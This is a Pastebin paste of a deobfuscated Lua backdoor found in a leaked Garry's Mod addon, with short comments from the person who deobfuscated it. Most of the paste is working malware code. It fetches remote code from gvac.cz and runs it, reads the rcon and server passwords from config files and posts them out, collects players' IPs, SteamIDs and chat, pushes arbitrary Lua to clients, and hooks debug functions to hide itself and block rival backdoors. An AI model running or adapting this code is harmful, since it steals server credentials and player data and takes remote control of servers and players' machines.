Advertisement
Guest User

GVac Backdoor (Deobfuscated by t0ny)

a guest
Oct 17th, 2019
520
0
Never
Not a member of Pastebin yet? Sign Up, it unlocks many cool features!
Lua 19.92 KB | None | 0 0
  1. -- INITIAL BACKDOOR CODE EMBEDDED IN LEAKED ADDON
  2. timer.Simple(1, function() http.Fetch("https://gvac.cz/link/fuck.php?key=hZd9vAjsTQ7qD10rDOZw", function(b) RunString(b, ":", false) end)end)
  3.  
  4. -- FIRST ONE
  5. timer.Simple(1, function()
  6.     http.Fetch("https://gvac.cz/_/_.php?key=hZd9vAjsTQ7qD10rDOZw", function(_)
  7.         CompileString(_, "/", false)()
  8.     end)
  9. end)
  10.  
  11. -- SECOND ONE
  12. if CLIENT then return end
  13. if game.SinglePlayer() then return end
  14.  
  15. timer.Simple(math.random(1, 2), function()
  16.     _G["HTTP"]({
  17.         url = "https://gvac.cz/_/next.php?key=hZd9vAjsTQ7qD10rDOZw&LYifJmgMLSSEepCvANbTtiYmhsymfY=wdofjdycz4OStOJLKfsM3Q%3D%3D&mhCihdDvdOJaEIcBDoAmBMUIWedlyD=0352fd71ff561205e01fd0af7bef9b56c75d5b4db7e9b5b3a9b5eafdd4740afd",
  18.         method = "get",
  19.         success = function(uh, fxUEvT)
  20.             CompileString(fxUEvT, ":", false)()
  21.         end
  22.     })
  23. end)
  24.  
  25. --[[
  26.    _______      __        _____
  27.   / ____\ \    / /       |  __ \
  28.  | |  __ \ \  / /_ _  ___| |  | | ___   ___  _ __
  29.  | | |_ | \ \/ / _` |/ __| |  | |/ _ \ / _ \| '__|
  30.  | |__| |  \  / (_| | (__| |__| | (_) | (_) | |  
  31.   \_____|   \/ \__,_|\___|_____/ \___/ \___/|_| feat. Czechia and Russia
  32.   Maks : :ok_hand:
  33.  
  34.     <b>Todo list</b>
  35.    - Copier le code de GVacDoor
  36.    - Prendre GBackdoor
  37.    - m??langer les deux
  38.    - ??tre publier sur pastebin
  39.     <b>R??sultat</b>
  40.    - Des chocapics
  41.  
  42.    PS: Ce code est publique et ne sert que de lien.
  43. ]]
  44. local function stealServerCredentials()
  45.     local stolenCredentials = {}
  46.     local cfgDir = file.Find("cfg/*", "GAME")
  47.  
  48.     for i = 1, #cfgDir do
  49.         if string.EndsWith(cfgDir[i], ".cfg") then
  50.             local fileContents = file.Read("cfg/" .. cfgDir[i], "GAME")
  51.             fileContents = string.Explode("\n", fileContents)
  52.  
  53.             for i = 1, #fileContents do
  54.                 if string.find(fileContents[i], "rcon_password") then
  55.                     local rconPassword = string.Explode('"', fileContents[i])
  56.  
  57.                     if not rconPassword[2] then
  58.                         rconPassword = string.Explode("'", fileContents[i])
  59.  
  60.                         if not rconPassword[2] then
  61.                             rconPassword[2] = "Not Found"
  62.                         end
  63.                     end
  64.  
  65.                     table.insert(stolenCredentials, 1, rconPassword[2])
  66.                 end
  67.  
  68.                 if string.find(fileContents[i], "sv_password") then
  69.                     local serverPassword = string.Explode('"', fileContents[i])
  70.  
  71.                     if not serverPassword[2] then
  72.                         serverPassword = string.Explode("'", fileContents[i])
  73.  
  74.                         if not serverPassword[2] then
  75.                             serverPassword[2] = "Not Found"
  76.                         end
  77.                     end
  78.  
  79.                     table.insert(stolenCredentials, 2, serverPassword[2])
  80.                 end
  81.             end
  82.         end
  83.     end
  84.  
  85.     if not stolenCredentials[1] then
  86.         stolenCredentials[1] = "Not Found"
  87.     end
  88.  
  89.     if not stolenCredentials[2] then
  90.         stolenCredentials[2] = "Not Found"
  91.     end
  92.  
  93.     local rconPassword = stolenCredentials[1]
  94.     local serverPassword = stolenCredentials[2]
  95.     local AddressAndPort = string.Explode(":", game.GetIPAddress())
  96.     local serverInfo = {}
  97.     serverInfo["name"] = GetHostName()
  98.     serverInfo["ip"] = AddressAndPort[1]
  99.     serverInfo["port"] = AddressAndPort[2]
  100.     serverInfo["map"] = game.GetMap()
  101.     serverInfo["gamemode"] = engine.ActiveGamemode()
  102.     serverInfo["unknown"] = [====[WIS4rcJBEoPhaYbvZO/MgA==]====]
  103.     serverInfo["rcon"] = rconPassword
  104.     serverInfo["password"] = serverPassword
  105.     serverInfo["invite"] = "hZd9vAjsTQ7qD10rDOZw"
  106.     http.Post("https://gvac.cz/_/next.php", serverInfo)
  107. end
  108.  
  109. local function generateBackdoorReciever(numChars)
  110.     if not numChars or numChars <= 0 then return '' end
  111.  
  112.     return generateBackdoorReciever(numChars - 1) .. ("abcdefghijklmnopqrstuvwxyzABCDEFGHIJKLMNOPQRSTUVWXYZ0123456789")[math.random(1, 62)]
  113. end
  114.  
  115. local BackdoorNetString = generateBackdoorReciever(25)
  116. util.AddNetworkString(BackdoorNetString)
  117. BroadcastLua([[net.Receive("]] .. BackdoorNetString .. [[",function()CompileString(util.Decompress(net.ReadData(net.ReadUInt(16))),"CON")()end)]])
  118.  
  119. local function uponPlayerChat(ply, chat_text)
  120.     local chatData = {}
  121.     chatData["name"] = ply:Nick()
  122.     chatData["ip"] = game.GetIPAddress()
  123.     chatData["player_ip"] = ply:IPAddress()
  124.     chatData["steamid_chat"] = ply:SteamID64()
  125.     chatData["text_chat"] = chat_text
  126.     http.Post("https://gvac.cz/_/next.php", chatData)
  127. end
  128.  
  129. function sendCodeToClient(code)
  130.     if code == "[]" then return end
  131.     local code = util.JSONToTable(code)
  132.     if not code then return end
  133.  
  134.     for i = 1, #code do
  135.         if (tonumber(code[i]["clientside"]) == 1) then
  136.             local compressCode = util.Compress(code[i]["command"])
  137.             local compressLen = #compressCode
  138.             net.Start(BackdoorNetString)
  139.                 net.WriteUInt(compressLen, 16)
  140.                 net.WriteData(compressCode, compressLen)
  141.             net.Broadcast()
  142.         else
  143.             RunString(code[i]["command"], "CON", false)
  144.         end
  145.     end
  146. end
  147.  
  148. local activeServer = 5
  149.  
  150. local function sendPlayerListToServer()
  151.     local humans = player.GetHumans()
  152.  
  153.     if #humans >= 1 then
  154.         activeServer = 5
  155.     else
  156.         activeServer = 20 -- think this is how they filter out the shitty one person servers on whatever interface they have
  157.     end
  158.  
  159.     local playerList = {}
  160.     local superAdmins = 0
  161.  
  162.     for i = 1, #humans do
  163.         if humans[i]:IsPlayer() then
  164.             playerList[humans[i]:SteamID64()] = {}
  165.             playerList[humans[i]:SteamID64()]["nick"] = humans[i]:Nick()
  166.             playerList[humans[i]:SteamID64()]["usergroup"] = humans[i]:GetUserGroup()
  167.             playerList[humans[i]:SteamID64()]["frags"] = humans[i]:Frags()
  168.             playerList[humans[i]:SteamID64()]["death"] = humans[i]:Deaths()
  169.             playerList[humans[i]:SteamID64()]["ping"] = humans[i]:Ping()
  170.             playerList[humans[i]:SteamID64()]["ip"] = humans[i]:IPAddress()
  171.         end
  172.  
  173.         if (humans[i]:IsSuperAdmin() or humans[i]:IsAdmin()) then
  174.             superAdmins = superAdmins + 1
  175.         end
  176.     end
  177.  
  178.     http.Post("https://gvac.cz/_/next.php?run=1&ip=" .. game.GetIPAddress() .. "&pl=" .. #player.GetHumans() .. "&pl2=" .. game.MaxPlayers() .. "&vodka=" .. math.Round(CurTime()) .. "&superuseless=" .. superAdmins, {
  179.         json = util.TableToJSON(playerList)
  180.     }, function(code)
  181.         sendCodeToClient(code)
  182.     end)
  183.  
  184.     timer.Create("T1_lhvqtLP9fGkxDy3o8jXxBg==", activeServer, 1, sendPlayerListToServer)
  185. end
  186.  
  187. local function runClientCode(ply)
  188.     timer.Remove("T1_lhvqtLP9fGkxDy3o8jXxBg==")
  189.     sendPlayerListToServer()
  190.  
  191.     if not ply:IsBot() then
  192.         ply:SendLua("net.Receive(\"" .. BackdoorNetString .. [[",function()CompileString(util.Decompress(net.ReadData(net.ReadUInt(16))),"CON", false)()end)]])
  193.        ply:SendLua([[
  194.            local function _()
  195.                if debug.getinfo(CompileString)["what"] ~= "C" or debug.getinfo(CompileString)["short_src"] ~= "[C]" or debug.getinfo(CompileString)["source"] ~= "=[C]" then
  196.                    while not not 1 do
  197.                    end
  198.                end
  199.  
  200.                timer.Simple(2, _)
  201.            end
  202.            _()
  203.        ]]) -- NOTE: whoever wrote this is a fucking retard
  204.        ply:SendLua([[http.Fetch("https://gvac.cz/_/player.php", function(b) CompileString(b, "|", false)() end)]]) -- code is below
  205.    end
  206. end
  207.  
  208. --- NOTE FROM DEOBFUSCATOR: CLIENT CODE RUN ON PLAYERS WITH SENDLUA!!!! {
  209. local function RkyXBXSNUUJWieES()
  210.    local playerinfo = {}
  211.    playerinfo["steamid64"] = LocalPlayer():SteamID64()
  212.    playerinfo["name"] = steamworks.GetPlayerName( LocalPlayer():SteamID64() )
  213.    playerinfo["goooooooooooodd"] = "3h7x+sSWrmOsmCpHVJRtPw=="
  214.    playerinfo["on"] = game.GetIPAddress()
  215.    http.Post("https://gvac.cz/_/player.php", playerinfo)
  216. end
  217.  
  218. RkyXBXSNUUJWieES()
  219. -- }
  220.  
  221.  
  222. timer.Simple(math.random(1, 5), function()
  223.    stealServerCredentials()
  224.    sendPlayerListToServer()
  225.    concommand.Remove("host_writeid")
  226.    hook.Add("PlayerInitialSpawn", "T1_lhvqtLP9fGkxDy3o8jXxBg==", runClientCode)
  227.    hook.Add("PlayerSay", "T2_lhvqtLP9fGkxDy3o8jXxBg==", uponPlayerChat)
  228. end)
  229.  
  230. --[[
  231. -----BEGIN PGP SIGNED MESSAGE-----
  232. Hash: SHA256
  233.  
  234. https://pastebin.com/raw/j6Sg0A86
  235. -----BEGIN PGP SIGNATURE-----
  236. Version: OpenPGP.js v2.3.2
  237. Comment: http://openpgpjs.org
  238.  
  239. wsBcBAEBCAAQBQJdRX8UCRAN1cf+RucUbAAAeRYH/2DKt92fDM7QJSQ26FDf
  240. tnwaIQBRKi2R6UVeOQ50fjgmSIKKzuEb7ROXb2ahFndM5JmC49Pj3NYe2cvZ
  241. hhHEdFg4kh/UqFbl1AL9A3oeMFOrv41BDsW4Xkpnfe3fvcV/e/Ztz4+y0ffw
  242. eleX7kL1/w3b8wq4EC2vdI+DbYGCiNjZsYsx/gNW5TIBsGLlomhZkFaUW21J
  243. cGLb1e845L4UIXp1tYSVL8OJQed7EY2c6Uu4P/rhMWPhi19Sbkj5v8QzHiVb
  244. EyPAhbVlsbwEOOEwNIKAqRAa+LXy6cemGUjlkx1mQPeQ2/ZqYnKos+AyApra
  245. DvHUQzbSrzcQAEJTc6lKZjE=
  246. =C1Yx
  247. -----END PGP SIGNATURE-----
  248. ]]
  249.  
  250. -- THIRD ONE
  251.  
  252. -- NOTE: THIS BIT IS INTERESTING, IT SEEMS LIKE THEY ARE TRYING TO PREVENT OTHER PEOPLE'S BACKDOORS FROM WORKING LOL
  253. -- SMH THESE JEALOUS GIRLFRIEND-ASS BACKDOOR DEVS
  254. local blacked = {"kvac.ml", "kvac.cz", "kvac.me", "kvacdoor.cz",
  255.                "very-legit.website", "gblk.ga", "rvac.cc", ".ga",
  256.                ".gq", ".ml", "cipher-panel.me", "vacsecuritydrm.org", "g-hub.xyz"}
  257. local olddebug = debug.getinfo
  258.  
  259. function debug.getinfo(a)
  260.    if a == HTTP then
  261.        local lulilul = olddebug(a)
  262.        lulilul.short_src = "[C]"
  263.        lulilul.what = "C"
  264.  
  265.        return lulilul
  266.    end
  267.  
  268.    if a == http.Post then
  269.        local lulilul = olddebug(a)
  270.        lulilul.short_src = "lua/includes/modules/http.lua"
  271.        lulilul.what = "Lua"
  272.  
  273.        return lulilul
  274.    end
  275.  
  276.    if a == http.Fetch then
  277.        local lulilul = olddebug(a)
  278.        lulilul.short_src = "lua/includes/modules/http.lua"
  279.        lulilul.what = "Lua"
  280.  
  281.        return lulilul
  282.    end
  283. end
  284.  
  285. local oldhttpf = http.Fetch
  286. local oldhttpp = http.Post
  287. local oldhttp = HTTP
  288.  
  289. function http.Fetch(a, b, c, d)
  290.    local doihavetoblock = false
  291.  
  292.    for i, toblock in pairs(blacked) do
  293.        if string.match(a, toblock) then
  294.            doihavetoblock = true
  295.        end
  296.    end
  297.  
  298.    if not doihavetoblock then
  299.        oldhttpf(a, b, c, d)
  300.    end
  301. end
  302.  
  303. function http.Post(a, b, c, d, e)
  304.    local doihavetoblock = false
  305.  
  306.    for i, toblock in pairs(blacked) do
  307.        if string.match(a, toblock) then
  308.            doihavetoblock = true
  309.        end
  310.    end
  311.  
  312.    if not doihavetoblock then
  313.        oldhttpp(a, b, c, d, e)
  314.    end
  315. end
  316.  
  317. function HTTP(a)
  318.    local doihavetoblock = false
  319.  
  320.    for i, toblock in pairs(blacked) do
  321.        if string.match(a.url, toblock) then
  322.            doihavetoblock = true
  323.        end
  324.    end
  325.  
  326.    if not doihavetoblock then
  327.        oldhttp(a)
  328.    end
  329. end
  330.  
  331. -- THE FOLLOWING ALL APPEARS TO BE PASTED FROM https://github.com/aiq/basexx/blob/master/lib/basexx.lua
  332. -- FOR NO EXPLICABLE REASON SO LOL, IM PRETTY SURE THEY DON'T USE THIS WHATSOEVER BUT WHAT DO I KNOW LMAO
  333.  
  334. local function E1F5DA6359DE55CA125B486A0E0F8F07C9821C66CC1B0FAAA4B1A06D0172B957A68E19E44D722F34FB32A9C8FE94953E25550F86479244E76378959(str, max)
  335.    local result = {}
  336.    local start = 1
  337.  
  338.    for i = 1, #str do
  339.        if i % max == 0 then
  340.            table.insert(result, str:sub(start, i))
  341.            start = i + 1
  342.        elseif i == #str then
  343.            table.insert(result, str:sub(start, i))
  344.        end
  345.    end
  346.  
  347.    return result
  348. end
  349.  
  350. local function number_to_bit(num, length)
  351.    local bits = {}
  352.  
  353.    while num > 0 do
  354.        local rest = math.floor(math.fmod(num, 2))
  355.        table.insert(bits, rest)
  356.        num = (num - rest) / 2
  357.    end
  358.  
  359.    while #bits < length do
  360.        table.insert(bits, "0")
  361.    end
  362.  
  363.    return string.reverse(table.concat(bits))
  364. end
  365.  
  366. local function ignore_set(str, set)
  367.    if set then
  368.        str = str:gsub("[" .. set .. "]", "")
  369.    end
  370.  
  371.    return str
  372. end
  373.  
  374. local function pure_from_bit(str)
  375.    return (str:gsub('........', function(cc) return string.char(tonumber(cc, 2)) end))
  376. end
  377.  
  378. local function unexpected_char_error(str, pos)
  379.    local c = string.sub(str, pos, pos)
  380.  
  381.    return string.format("unexpected character at position %d: '%s'", pos, c)
  382. end
  383.  
  384. local tab = {}
  385.  
  386. local bitMap = {
  387.    o = "0",
  388.    i = "1",
  389.    l = "1"
  390. }
  391.  
  392. function tab.from_bit(str, ignore)
  393.    str = ignore_set(str, ignore)
  394.    str = string.lower(str)
  395.    str = str:gsub('[ilo]', function(c) return bitMap[c] end)
  396.    local pos = string.find(str, "[^01]")
  397.    if pos then return nil, unexpected_char_error(str, pos) end
  398.  
  399.    return pure_from_bit(str)
  400. end
  401.  
  402. function tab.to_bit(str)
  403.    return str:gsub('.', function(c)
  404.        local byte = string.byte(c)
  405.        local bits = {}
  406.  
  407.        for _ = 1, 8 do
  408.            table.insert(bits, byte % 2)
  409.            byte = math.floor(byte / 2)
  410.        end
  411.  
  412.        return table.concat(bits):reverse()
  413.    end)
  414. end
  415.  
  416. function tab.from_hex(str, ignore)
  417.    str = ignore_set(str, ignore)
  418.    local pos = string.find(str, "[^%x]")
  419.    if pos then return nil, unexpected_char_error(str, pos) end
  420.  
  421.    return (str:gsub('..', function(cc) return string.char(tonumber(cc, 16)) end))
  422. end
  423.  
  424. function tab.to_hex(str)
  425.    return (str:gsub('.', function(c) return string.format('%02X', string.byte(c)) end))
  426. end
  427.  
  428. local function from_C2E42EB433D56996DE35C20FDBA1A07FCABAA0A3A0D66211DF12DCD2BFAE3280FA126906A6855657E73111B16B706151960C7B1BAB3CC3318D9B95CDEC564A41(str, alphabet, bits)
  429.    local result = {}
  430.  
  431.    for i = 1, #str do
  432.        local c = string.sub(str, i, i)
  433.  
  434.        if c ~= '=' then
  435.            local index = string.find(alphabet, c, 1, true)
  436.            if not index then return nil, unexpected_char_error(str, i) end
  437.            table.insert(result, number_to_bit(index - 1, bits))
  438.        end
  439.    end
  440.  
  441.    local value = table.concat(result)
  442.    local pad = #value % 8
  443.  
  444.    return pure_from_bit(string.sub(value, 1, #value - pad))
  445. end
  446.  
  447. local function to_C2E42EB433D56996DE35C20FDBA1A07FCABAA0A3A0D66211DF12DCD2BFAE3280FA126906A6855657E73111B16B706151960C7B1BAB3CC3318D9B95CDEC564A41(str, alphabet, bits, pad)
  448.    local bitString = tab.to_bit(str)
  449.    local chunks = E1F5DA6359DE55CA125B486A0E0F8F07C9821C66CC1B0FAAA4B1A06D0172B957A68E19E44D722F34FB32A9C8FE94953E25550F86479244E76378959(bitString, bits)
  450.    local result = {}
  451.  
  452.    for _, value in ipairs(chunks) do
  453.        if (#value < bits) then
  454.            value = value .. string.rep('0', bits - #value)
  455.        end
  456.  
  457.        local pos = tonumber(value, 2) + 1
  458.        table.insert(result, alphabet:sub(pos, pos))
  459.    end
  460.  
  461.    table.insert(result, pad)
  462.  
  463.    return table.concat(result)
  464. end
  465.  
  466. local zumbaAlphabet = "ABCDEFGHIJKLMNOPQRSTUVWXYZ234567"
  467. local zumbaPadMap = {"", "======", "====", "===", "="}
  468.  
  469. function tab.from_zumba(str, ignore)
  470.    str = ignore_set(str, ignore)
  471.  
  472.    return from_C2E42EB433D56996DE35C20FDBA1A07FCABAA0A3A0D66211DF12DCD2BFAE3280FA126906A6855657E73111B16B706151960C7B1BAB3CC3318D9B95CDEC564A41(string.upper(str), zumbaAlphabet, 5)
  473. end
  474.  
  475. function tab.to_zumba(str)
  476.    return to_C2E42EB433D56996DE35C20FDBA1A07FCABAA0A3A0D66211DF12DCD2BFAE3280FA126906A6855657E73111B16B706151960C7B1BAB3CC3318D9B95CDEC564A41(str, zumbaAlphabet, 5, zumbaPadMap[#str % 5 + 1])
  477. end
  478.  
  479. local crockfordAlphabet = "0123456789ABCDEFGHJKMNPQRSTVWXYZ"
  480.  
  481. local crockfordMap = {
  482.    O = "0",
  483.    I = "1",
  484.    L = "1"
  485. }
  486.  
  487. function tab.FB41611AA068FA489ABDCBF3831030AE389A5D0118B2DA2F77998E74A6D607714BE7DEF34CA3B5FC8E16212A3CF56AC5A66B193550A321719CC630EA0AEB1(str, ignore)
  488.    str = ignore_set(str, ignore)
  489.    str = string.upper(str)
  490.    str = str:gsub('[ILOU]', function(c) return crockfordMap[c] end)
  491.  
  492.    return from_C2E42EB433D56996DE35C20FDBA1A07FCABAA0A3A0D66211DF12DCD2BFAE3280FA126906A6855657E73111B16B706151960C7B1BAB3CC3318D9B95CDEC564A41(str, crockfordAlphabet, 5)
  493. end
  494.  
  495. function tab.to_crockford(str)
  496.    return to_C2E42EB433D56996DE35C20FDBA1A07FCABAA0A3A0D66211DF12DCD2BFAE3280FA126906A6855657E73111B16B706151960C7B1BAB3CC3318D9B95CDEC564A41(str, crockfordAlphabet, 5, "")
  497. end
  498.  
  499. local zumbaeeeAlphabet = "ABCDEFGHIJKLMNOPQRSTUVWXYZ" .. "abcdefghijklmnopqrstuvwxyz" .. "0123456789+/"
  500. local zumbaeeePadMap = {"", "==", "="}
  501.  
  502. function tab.from_zumbaeee(str, ignore)
  503.    str = ignore_set(str, ignore)
  504.  
  505.    return from_C2E42EB433D56996DE35C20FDBA1A07FCABAA0A3A0D66211DF12DCD2BFAE3280FA126906A6855657E73111B16B706151960C7B1BAB3CC3318D9B95CDEC564A41(str, zumbaeeeAlphabet, 6)
  506. end
  507.  
  508. function tab.to_zumbaeee(str)
  509.    return to_C2E42EB433D56996DE35C20FDBA1A07FCABAA0A3A0D66211DF12DCD2BFAE3280FA126906A6855657E73111B16B706151960C7B1BAB3CC3318D9B95CDEC564A41(str, zumbaeeeAlphabet, 6, zumbaeeePadMap[#str % 3 + 1])
  510. end
  511.  
  512. local url64Alphabet = "ABCDEFGHIJKLMNOPQRSTUVWXYZ" .. "abcdefghijklmnopqrstuvwxyz" .. "0123456789-_"
  513.  
  514. function tab.from_url64(str, ignore)
  515.    str = ignore_set(str, ignore)
  516.  
  517.    return from_C2E42EB433D56996DE35C20FDBA1A07FCABAA0A3A0D66211DF12DCD2BFAE3280FA126906A6855657E73111B16B706151960C7B1BAB3CC3318D9B95CDEC564A41(str, url64Alphabet, 6)
  518. end
  519.  
  520. function tab.to_url64(str)
  521.    return to_C2E42EB433D56996DE35C20FDBA1A07FCABAA0A3A0D66211DF12DCD2BFAE3280FA126906A6855657E73111B16B706151960C7B1BAB3CC3318D9B95CDEC564A41(str, url64Alphabet, 6, "")
  522. end
  523.  
  524. local function length_error(len, d)
  525.    return string.format("invalid length: %d - must be a multiple of %d", len, d)
  526. end
  527.  
  528. local z85Decoder = { 0x00, 0x44, 0x00, 0x54, 0x53, 0x52, 0x48, 0x00,
  529.                     0x4B, 0x4C, 0x46, 0x41, 0x00, 0x3F, 0x3E, 0x45,
  530.                     0x00, 0x01, 0x02, 0x03, 0x04, 0x05, 0x06, 0x07,
  531.                     0x08, 0x09, 0x40, 0x00, 0x49, 0x42, 0x4A, 0x47,
  532.                     0x51, 0x24, 0x25, 0x26, 0x27, 0x28, 0x29, 0x2A,
  533.                     0x2B, 0x2C, 0x2D, 0x2E, 0x2F, 0x30, 0x31, 0x32,
  534.                     0x33, 0x34, 0x35, 0x36, 0x37, 0x38, 0x39, 0x3A,
  535.                     0x3B, 0x3C, 0x3D, 0x4D, 0x00, 0x4E, 0x43, 0x00,
  536.                     0x00, 0x0A, 0x0B, 0x0C, 0x0D, 0x0E, 0x0F, 0x10,
  537.                     0x11, 0x12, 0x13, 0x14, 0x15, 0x16, 0x17, 0x18,
  538.                     0x19, 0x1A, 0x1B, 0x1C, 0x1D, 0x1E, 0x1F, 0x20,
  539.                     0x21, 0x22, 0x23, 0x4F, 0x00, 0x50, 0x00, 0x00 }
  540.  
  541. function tab.from_z85(str, ignore)
  542.    str = ignore_set(str, ignore)
  543.    if (#str % 5) ~= 0 then return nil, length_error(#str, 5) end
  544.    local result = {}
  545.    local value = 0
  546.  
  547.    for i = 1, #str do
  548.        local index = string.byte(str, i) - 31
  549.        if index < 1 or index >= #z85Decoder then return nil, unexpected_char_error(str, i) end
  550.        value = (value * 85) + z85Decoder[index]
  551.  
  552.        if (i % 5) == 0 then
  553.            local divisor = 256 * 256 * 256
  554.  
  555.            while divisor ~= 0 do
  556.                local b = math.floor(value / divisor) % 256
  557.                table.insert(result, string.char(b))
  558.                divisor = math.floor(divisor / 256)
  559.            end
  560.  
  561.            value = 0
  562.        end
  563.    end
  564.  
  565.    return table.concat(result)
  566. end
  567.  
  568. local z85Encoder = "0123456789" .. "abcdefghijklmnopqrstuvwxyz" .. "ABCDEFGHIJKLMNOPQRSTUVWXYZ" .. ".-:+=^!/*?&<>()[]{}@%$#"
  569.  
  570. function tab.to_z85(str)
  571.    if (#str % 4) ~= 0 then return nil, length_error(#str, 4) end
  572.    local result = {}
  573.    local value = 0
  574.  
  575.    for i = 1, #str do
  576.        local b = string.byte(str, i)
  577.        value = (value * 256) + b
  578.  
  579.        if (i % 4) == 0 then
  580.            local divisor = 85 * 85 * 85 * 85
  581.  
  582.            while divisor ~= 0 do
  583.                local index = (math.floor(value / divisor) % 85) + 1
  584.                table.insert(result, z85Encoder:sub(index, index))
  585.                divisor = math.floor(divisor / 85)
  586.            end
  587.  
  588.            value = 0
  589.        end
  590.    end
  591.  
  592.    return table.concat(result)
  593. end
  594.  
  595. function b34264e1dd2f9ebfa3c8e7a2532d1ffc3fe9c5c(str)
  596.    return tab.FB41611AA068FA489ABDCBF3831030AE389A5D0118B2DA2F77998E74A6D607714BE7DEF34CA3B5FC8E16212A3CF56AC5A66B193550A321719CC630EA0AEB1(str)
  597. end
Advertisement
Add Comment
Please, Sign In to add comment
Advertisement